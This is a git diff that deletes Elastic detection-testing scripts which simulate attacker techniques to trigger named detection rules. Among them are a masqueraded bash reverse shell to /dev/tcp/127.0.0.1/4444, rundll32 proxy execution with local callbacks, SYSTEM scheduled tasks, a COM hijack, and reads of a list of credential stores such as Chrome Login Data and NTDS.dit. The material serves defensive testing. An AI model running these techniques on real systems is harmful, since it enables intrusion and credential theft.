RtaMetadata, common - -metadata = RtaMetadata( - uuid="83b04be5-ed0f-4efd-a7fd-d5db2b8ab62f", - platforms=["macos", "linux"], - endpoint=[ - { - "rule_name": "Potential Reverse Shell Activity via Terminal", - "rule_id": "d0e45f6c-1f83-4d97-a8d9-c8f9eb61c15c", - }, - ], - siem=[], - techniques=["T1071", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/bash" - if common.CURRENT_OS == "linux": - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - else: - common.create_macos_masquerade(masquerade) - - common.log("Executing command to simulate reverse shell execution") - common.execute([masquerade, "/dev/tcp/127.0.0.1/4444"], timeout=5, kill=True, shell=True) # noqa: S604 - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/root_cert_install.py b/rta/root_cert_install.py deleted file mode 100644 index 02ff6a119..000000000 --- a/rta/root_cert_install.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="633313a4-dbe5-420f-b4ae-90c481a7f881", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Attempt to Install Root Certificate", "rule_id": "bc1eeacf-2972-434f-b782-3a532b100d67"}], - techniques=["T1553"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/security" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Executing fake security commands to add a root cert.") - common.execute([masquerade, "add-trusted-cert"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/root_crontab_file_modification.py b/rta/root_crontab_file_modification.py deleted file mode 100644 index 1bae7f7ea..000000000 --- a/rta/root_crontab_file_modification.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f9feed6d-bae3-49c6-8952-7ed8e9b0b9ef", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Potential Privilege Escalation via Root Crontab File Modification", - "rule_id": "31151602-1de1-4301-9b75-215ac8902b75", - } - ], - siem=[ - { - "rule_name": "Privilege Escalation via Root Crontab File Modification", - "rule_id": "0ff84c42-873d-41a2-a4ed-08d74d352d01", - } - ], - techniques=["T1053"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing deletion on /private/var/at/tabs/root file.") - common.temporary_file_helper("testing", file_name="/private/var/at/tabs/root") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/rubeus_alike_commandline.py b/rta/rubeus_alike_commandline.py deleted file mode 100644 index 77de4b327..000000000 --- a/rta/rubeus_alike_commandline.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="85cf6796-5f53-4fed-a5cb-8b211882543c", - platforms=["windows"], - endpoint=[ - {"rule_name": "Potential Credential Access via Rubeus", "rule_id": "0783f666-75ad-4015-9dd5-d39baec8f6b0"} - ], - siem=[], - techniques=["T1558"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - cmd = "Echo asreproast instead of executing it" - # Execute command - common.execute([powershell, "/c", "echo", cmd], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/rundll32_inf.py b/rta/rundll32_inf.py deleted file mode 100644 index eb5bcc054..000000000 --- a/rta/rundll32_inf.py +++ /dev/null @@ -1,53 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7d139669-2b4c-4fc3-9a7c-bd1b643696dc", - platforms=["windows"], - endpoint=[ - {"rule_name": "Scriptlet Execution via Rundll32", "rule_id": "93438ae3-becd-43fa-81de-645ce17afa8e"}, - {"rule_name": "Binary Proxy Execution via Rundll32", "rule_id": "f60455df-5054-49ff-9ff7-1dc4e37b6ea7"}, - ], - siem=[], - techniques=["T1218", "T1059"], -) - -INF_FILE = common.get_path("bin", "notepad_launch.inf") - - -def main(): - # http server will terminate on main thread exit - # if daemon is True - common.log("RunDLL32 with Script Object and Network Callback") - server, ip, port = common.serve_web() - callback = "http://%s:%d" % (ip, port) - common.clear_web_cache() - - common.patch_regex(INF_FILE, common.CALLBACK_REGEX, callback) - - rundll32 = "rundll32.exe" - common.execute( - [ - rundll32, - "advpack.dll," + "LaunchINFSection", - INF_FILE + ",DefaultInstall_SingleUser,1,", - ], - shell=False, - ) - - time.sleep(1) - common.log("Cleanup", log_type="-") - common.execute(["taskkill", "/f", "/im", "notepad.exe"]) - server.shutdown() - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/rundll32_inf_callback.py b/rta/rundll32_inf_callback.py deleted file mode 100644 index 013485d7b..000000000 --- a/rta/rundll32_inf_callback.py +++ /dev/null @@ -1,54 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: RunDll32 with .inf Callback -# RTA: rundll32_inf_callback.py -# signal.rule.name: Local Service Commands -# signal.rule.name: Potential Modification of Accessibility Binaries -# ATT&CK: T1105 -# Description: Loads RunDll32 with a suspicious .inf file that makes a local http GET - -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a2edc784-e969-45f4-b8d2-fe4556b42cd6", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -INF_FILE = common.get_path("bin", "script_launch.inf") - - -@common.requires_os(*metadata.platforms) -@common.dependencies(INF_FILE) -def main(): - # http server will terminate on main thread exit - # if daemon is True - common.log("RunDLL32 with Script Object and Network Callback") - server, ip, port = common.serve_web() - callback = "http://%s:%d" % (ip, port) - common.clear_web_cache() - - common.patch_regex(INF_FILE, common.CALLBACK_REGEX, callback) - - rundll32 = "rundll32.exe" - dll_entrypoint = "setupapi.dll,InstallHinfSection" - common.execute([rundll32, dll_entrypoint, "DefaultInstall", "128", INF_FILE], shell=False) - - time.sleep(1) - common.log("Cleanup", log_type="-") - common.execute(["taskkill", "/f", "/im", "notepad.exe"]) - server.shutdown() - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/rundll32_javascript_callback.py b/rta/rundll32_javascript_callback.py deleted file mode 100644 index 7a97a0ed1..000000000 --- a/rta/rundll32_javascript_callback.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: RunDLL32 Javascript Callback -# RTA: rundll32_javascript_callback.py -# signal.rule.name: Local Service Commands -# signal.rule.name: Potential Modification of Accessibility Binaries -# ATT&CK: T1085 -# Description: Executes javascript code with an AJAX call via RunDll32.exe - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="75687622-2e75-4612-b213-a31f923efdd4", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("RunDLL32 with Javascript Callback") - server, ip, port = common.serve_web() - common.clear_web_cache() - - url = "http://%s:%d" % (ip, port) - rundll32 = "rundll32.exe" - js = """ - 'javascript:"\..\mshtml,RunHTMLApplication ";' - 'var%20xhr=new%20ActiveXObject("Msxml2.XMLHttp.6.0");,' - 'xhr.open("GET", "{url}",false);xhr.send();' - """.format( - url=url - ) - packed_js = "".join(s.strip() for s in js.splitlines()) - - common.execute([rundll32, packed_js]) - server.shutdown() - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/rundll32_unusual_args.py b/rta/rundll32_unusual_args.py deleted file mode 100644 index e393695a9..000000000 --- a/rta/rundll32_unusual_args.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="3ede81fa-f4e7-48fc-a939-50ad7a9a07ca", - platforms=["windows"], - endpoint=[ - {"rule_name": "Command Shell Activity Started via RunDLL32", "rule_id": "b8a0a3aa-0345-4035-b41d-f758a6c59a78"}, - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "RunDLL32 with Unusual Arguments", "rule_id": "cfaf983e-1129-464c-b0aa-270f42e20d3d"}, - {"rule_name": "Binary Proxy Execution via Rundll32", "rule_id": "f60455df-5054-49ff-9ff7-1dc4e37b6ea7"}, - ], - siem=[], - techniques=["T1218", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - source_dll = "C:\\Windows\\System32\\IEAdvpack.dll" - dll = "C:\\Users\\Public\\IEAdvpack.dll" - common.copy_file(source_dll, dll) - - # Execute command - common.log("Spawning cmd using Rundll32") - common.execute(["rundll32.exe", f"{dll},RegisterOCX", "cmd.exe"]) - - common.remove_files(dll) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/rundll32_unusual_dll_extension.py b/rta/rundll32_unusual_dll_extension.py deleted file mode 100644 index c6ecc30a8..000000000 --- a/rta/rundll32_unusual_dll_extension.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="64a7cd38-767f-4d46-9350-feb585a32c18", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Unusual DLL Extension Loaded by Rundll32 or Regsvr32", - "rule_id": "76da5dca-ffe5-4756-85ba-3ac2e6ccf623", - }, - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - ], - siem=[], - techniques=["T1218", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") - - -@common.requires_os(*metadata.platforms) -def main(): - rundll32 = "C:\\Users\\Public\\rundll32.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\a.rta" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - common.copy_file(EXE_FILE, rundll32) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - - # Execute command - - common.log("Loading a.rta into fake rundll32") - common.execute([rundll32, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - - common.remove_files(rundll32, dll, ps1) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/schtask_escalation.py b/rta/schtask_escalation.py deleted file mode 100644 index bd9153ede..000000000 --- a/rta/schtask_escalation.py +++ /dev/null @@ -1,66 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Scheduled Task Privilege Escalation -# RTA: schtask_escalation.py -# signal.rule.name: Local Scheduled Task Commands -# signal.rule.name: Whoami Process Activity -# signal.rule.name: Svchost spawning Cmd -# signal.rule.name: Net command via SYSTEM account -# ATT&CK: T1053 - -import time -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="1a61241e-5b1b-44ec-8c9f-3ae4652550be", - platforms=["windows"], - endpoint=[], - siem=[ - {"rule_id": "afcce5ad-65de-4ed2-8516-5e093d3ac99a", "rule_name": "Local Scheduled Task Creation"}, - {"rule_id": "ef862985-3f13-4262-a686-5f357bbb9bc2", "rule_name": "Whoami Process Activity"}, - {"rule_id": "fd7a6052-58fa-4397-93c3-4795249ccfa2", "rule_name": "Svchost spawning Cmd"}, - ], - techniques=["T1033", "T1053", "T1059"], -) - - -def schtasks(*args, **kwargs): - return common.execute(["schtasks.exe"] + list(args), **kwargs) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Scheduled Task Privilege Escalation") - - task_name = "test-task-rta" - file_path = Path("task.log").resolve() - command = "cmd.exe /c whoami.exe > " + str(file_path) - - # Delete the task if it exists - code, output = schtasks("/query", "/tn", task_name) - if code == 0: - schtasks("/delete", "/tn", task_name, "/f") - - code, output = schtasks("/create", "/tn", task_name, "/ru", "system", "/tr", command, "/sc", "onlogon") - if code != 0: - common.log("Error creating task", log_type="!") - return - - # Run the task and grab the file - code, output = schtasks("/run", "/tn", task_name) - if code == 0: - time.sleep(1) - common.print_file(file_path) - time.sleep(1) - common.remove_file(file_path) - - schtasks("/delete", "/tn", task_name, "/f") - - -if __name__ == "__main__": - main() diff --git a/rta/schtasks_xml_masqueraded.py b/rta/schtasks_xml_masqueraded.py deleted file mode 100644 index 2d278e2bc..000000000 --- a/rta/schtasks_xml_masqueraded.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4bb0b65e-8e78-4680-ab37-d6c0723f97a9", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Suspicious Scheduled Task Creation via Masqueraded XML File", - "rule_id": "1efc0496-106b-4c09-b99b-91cdd17ba7b3", - } - ], - siem=[], - techniques=["T1053", "T1036"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - # Execute Command - common.log("Executing command to simulate the task creation (This will not create a task)") - common.execute(["schtasks.exe", "/CREATE", "/XML", "update", "/TN", "Test", "/F"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/scp_privacy_bypass.py b/rta/scp_privacy_bypass.py deleted file mode 100644 index 0d020c7cf..000000000 --- a/rta/scp_privacy_bypass.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="75fec962-54a4-4bb1-80ea-995269e90b30", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Potential Privacy Control Bypass via Localhost Secure Copy", - "rule_id": "55df8e91-fd3c-4cc1-b36f-f01ded8c6da3", - } - ], - siem=[ - { - "rule_name": "Potential Privacy Control Bypass via Localhost Secure Copy", - "rule_id": "c02c8b9f-5e1d-463c-a1b0-04edcdfe1a3d", - } - ], - techniques=["T1548"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/scp" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake commands to bypass privacy controls") - common.execute( - [masquerade, "StrictHostKeyChecking=no", "/tmp/scp test@localhost:/test"], - timeout=10, - kill=True, - ) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/screensaver_child_process.py b/rta/screensaver_child_process.py deleted file mode 100644 index a3fbb91e4..000000000 --- a/rta/screensaver_child_process.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="adc70542-4d6e-4449-bf96-4cd44367bfbb", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Unexpected Child Process of macOS Screensaver Engine", - "rule_id": "fba012f6-7aa8-448e-8f59-cdecce2845b5", - } - ], - siem=[ - { - "rule_name": "Unexpected Child Process of macOS Screensaver Engine", - "rule_id": "48d7f54d-c29e-4430-93a9-9db6b5892270", - } - ], - techniques=["T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/ScreenSaverEngine" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake commands to spawn bash from screensaver engine") - common.execute([masquerade], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/screensaver_plist_mod.py b/rta/screensaver_plist_mod.py deleted file mode 100644 index 132df6e5a..000000000 --- a/rta/screensaver_plist_mod.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ce87d15a-9b72-42c4-8721-ae4bcff86a05", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Screensaver Plist File Modified by Unexpected Process", - "rule_id": "ebae5222-71ba-4b73-afe9-8e034f8b4a04", - } - ], - siem=[ - { - "rule_name": "Screensaver Plist File Modified by Unexpected Process", - "rule_id": "e6e8912f-283f-4d0d-8442-e0dcaf49944b", - } - ], - techniques=["T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/killall" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake file screensaver plist modification commands") - common.temporary_file_helper( - "testing", - file_name="/Library/Managed Preferences/com.apple.screensaver.test.plist", - ) - common.execute([masquerade, "cfprefsd"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/scrobj_com_hijack.py b/rta/scrobj_com_hijack.py deleted file mode 100644 index 8bf11f9b6..000000000 --- a/rta/scrobj_com_hijack.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: COM Hijack via Script Object -# RTA: scrobj_com_hijack.py -# ATT&CK: T1122 -# Description: Modifies the Registry to create a new user-defined COM broker, "scrobj.dll". - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ac739578-c978-429f-9454-0bbe82f993f4", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "16a52c14-7883-47af-8745-9357803f0d4c", "rule_name": "Component Object Model Hijacking"}], - techniques=["T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SOFTWARE\\Classes\\CLSID\\{00000000-0000-0000-0000-0000DEADBEEF}" - subkey = "InprocServer32" - value = "" - scrobj = "C:\\WINDOWS\\system32\\scrobj.dll" - key_path = key + "\\" + subkey - - with common.temporary_reg(common.HKCU, key_path, value, scrobj, pause=True): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/secure_file_deletion.py b/rta/secure_file_deletion.py deleted file mode 100644 index 79bd6772b..000000000 --- a/rta/secure_file_deletion.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import os -import subprocess -import tempfile -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="9cb42759-a161-4d93-b07d-3c8254dc8838", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "55d551c6-333b-4665-ab7e-5d14a59715ce", "rule_name": "PsExec Network Connection"}], - techniques=["T1569"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - temp_path = Path(tempfile.gettempdir()) / os.urandom(16).encode("hex") - sdelete_path = common.get_path("bin", "sdelete.exe") - - try: - # Create a temporary file and close handles so it can be deleted - with open(temp_path, "wb") as f_out: - f_out.write("A") - - subprocess.check_call([sdelete_path, "/accepteula", temp_path]) - - finally: - common.remove_file(temp_path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/security_authtrampoline.py b/rta/security_authtrampoline.py deleted file mode 100644 index 7ffb57d67..000000000 --- a/rta/security_authtrampoline.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="dd39e94e-bfd7-467c-b20d-662d84c0b97e", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Execution with Explicit Credentials via Scripting", - "rule_id": "f0eb70e9-71e9-40cd-813f-bf8e8c812cb1", - } - ], - techniques=["T1078", "T1548", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/security_authtrampoline" - common.create_macos_masquerade(masquerade) - - # Execute commands - common.log("Launching fake security_authtrampoline process commands to mimic root execution.") - common.execute([masquerade], timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/sensitive_file_access.py b/rta/sensitive_file_access.py deleted file mode 100644 index 977d15878..000000000 --- a/rta/sensitive_file_access.py +++ /dev/null @@ -1,59 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - - -from . import common -from . import RtaMetadata - - - -metadata = RtaMetadata( - uuid="bdb54776-d643-4f4c-90cc-7719c2fa7eab", - platforms=["windows"], - endpoint=[ - {"rule_name": "Sensitive File Access - Unattended Panther", "rule_id": "52e4ad92-e09b-4331-b827-cd0f2cbaf576"}, - {"rule_name": "Potential Discovery of Windows Credential Manager Store", "rule_id": "cc60be0e-2c6c-4dc9-9902-e97103ff8df9"}, - {"rule_name": "Potential Discovery of DPAPI Master Keys", "rule_id": "84bbe951-5141-4eb3-b9cf-8dfeea62a94e"}, - {"rule_name": "Suspicious Access to Active Directory Database File", "rule_id": "d66765b8-010b-4a40-ab62-1d8f13a44878"}, - {"rule_name": "Sensitive File Access - SSH Saved Keys", "rule_id": "1487d726-2bd2-4a9e-a9d2-db8aef1d6239"}, - {"rule_name": "Failed Attempts to Access Sensitive Files", "rule_id": "3163dd96-c677-4f1f-98bf-c8f3c81b197b"}, - {"rule_name": "Sensitive File Access - System Admin Utilities", "rule_id": "949c72ee-a283-4673-afe0-7fa72bddc2f6"}, - {"rule_name": "Potential Credential Access via Windows Credential History", "rule_id": "ce8a6302-7248-457a-8427-3d6bad14e2f0"}, - ], - siem=[], - techniques=["T1555.004", "T1552.001", "T1003.003"], -) - -@common.requires_os(*metadata.platforms) - - -def main(): - from os import path - import win32file - files = ["%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data", - "%localappdata%\\Google\\Chrome\\User Data\\Default\\History", - "%localappdata%\\Google\\Chrome\\User Data\\Default\\Local State", - "%appdata%\\Mozilla\\Firefox\\Profiles\\test\\logins.json", - "%appdata%\\Mozilla\\Firefox\\Profiles\\test\\cookies.sqlite", - "%appdata%\\key3.db", - "%appdata%\\KeePass\\KeePass.config.xml", - "C:\\Users\\Public\\AppData\\Local\\Microsoft\\Vault\\test", - "%appdata%\\Microsoft\\Credentials\\test", - "C:\\Windows\\Panther\\Unattend.xml", - "C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\test", - "C:\\Windows\\NTDS\\NTDS.dit", - "C:\\Users\\Public\\.ssh\\known_hosts", - "C:\\Users\\Public\\AppData\\Something\\FileZilla\\recentservers.xml", - "%appdata%\\Microsoft\\Protect\\CREDHIST"] - for item in files: - try: - win32file.CreateFile(path.expandvars(item), win32file.GENERIC_READ, 0, None, 3, 0, None) - time.sleep(2) - except Exception as e: - print(f'[x] - Failed to open {item}') - pass - -if __name__ == "__main__": - exit(main()) diff --git a/rta/settingcontentms_files.py b/rta/settingcontentms_files.py deleted file mode 100644 index da6beda8f..000000000 --- a/rta/settingcontentms_files.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Abusing SettingContent-ms Files -# RTA: settingcontentms_files.py -# signal.rule.name: Potential Modification of Accessibility Binaries -# signal.rule.name: Local Service Commands -# ATT&CK: T1193, T1204, T1064 -# Description: SettingContent-ms file written to specific path or by risky process - -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7dea9748-dcac-49a9-8909-bd1f5590e508", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "7405ddf1-6c8e-41ce-818f-48bea6bcaed8", - "rule_name": "Potential Modification of Accessibility Binaries", - } - ], - techniques=["T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - # Write to AppData\Local\ - common.execute(["cmd", "/c", "echo", "test", ">", "%APPDATA%\\test.SettingContent-ms"]) - time.sleep(1) - common.execute(["cmd", "/c", "del", "%APPDATA%\\test.SettingContent-ms"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/sevenzip_encrypted.py b/rta/sevenzip_encrypted.py deleted file mode 100644 index bb96230eb..000000000 --- a/rta/sevenzip_encrypted.py +++ /dev/null @@ -1,65 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Encrypting files with 7zip -# RTA: sevenzip_encrypted.py -# ATT&CK: T1022 -# Description: Uses "bin\.exe" to perform encryption of archives and archive headers. - -import base64 -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="6cd35061-278b-45e7-a9cb-86b48bc47884", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "45d273fb-1dca-457d-9855-bcb302180c21", "rule_name": "Encrypting Files with WinRar or 7z"}], - techniques=["T1560"], -) - - -SEVENZIP = common.get_path("bin", "7za.exe") - - -def create_exfil(path=Path("secret_stuff.txt").resolve()): - common.log("Writing dummy exfil to %s" % path) - with open(path, "wb") as f: - f.write(base64.b64encode(b"This is really secret stuff\n" * 100)) - return path - - -@common.requires_os(*metadata.platforms) -@common.dependencies(SEVENZIP) -def main(password="s0l33t"): - # create 7z.exe with not-7zip name, and exfil - svnz2 = Path("a.exe").resolve() - common.copy_file(SEVENZIP, svnz2) - exfil = create_exfil() - - exts = ["7z", "zip", "gzip", "tar", "bz2", "bzip2", "xz"] - out_jpg = Path("out.jpg").resolve() - - for ext in exts: - # Write archive for each type - out_file = Path("out." + ext).resolve() - common.execute([svnz2, "a", out_file, "-p" + password, exfil], mute=True) - common.remove_file(out_file) - - # Write archive for each type with -t flag - if ext == "bz2": - continue - - common.execute([svnz2, "a", out_jpg, "-p" + password, "-t" + ext, exfil], mute=True) - common.remove_file(out_jpg) - - common.execute([SEVENZIP, "a", out_jpg, "-p" + password, exfil], mute=True) - common.remove_files(exfil, svnz2, out_jpg) - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) diff --git a/rta/shellcode_load_ws2_32_unbacked.py b/rta/shellcode_load_ws2_32_unbacked.py deleted file mode 100644 index f2132b9a9..000000000 --- a/rta/shellcode_load_ws2_32_unbacked.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -# shellcode to load ws2_32.dll from unbacked memory to trigger -SHELLCODE = 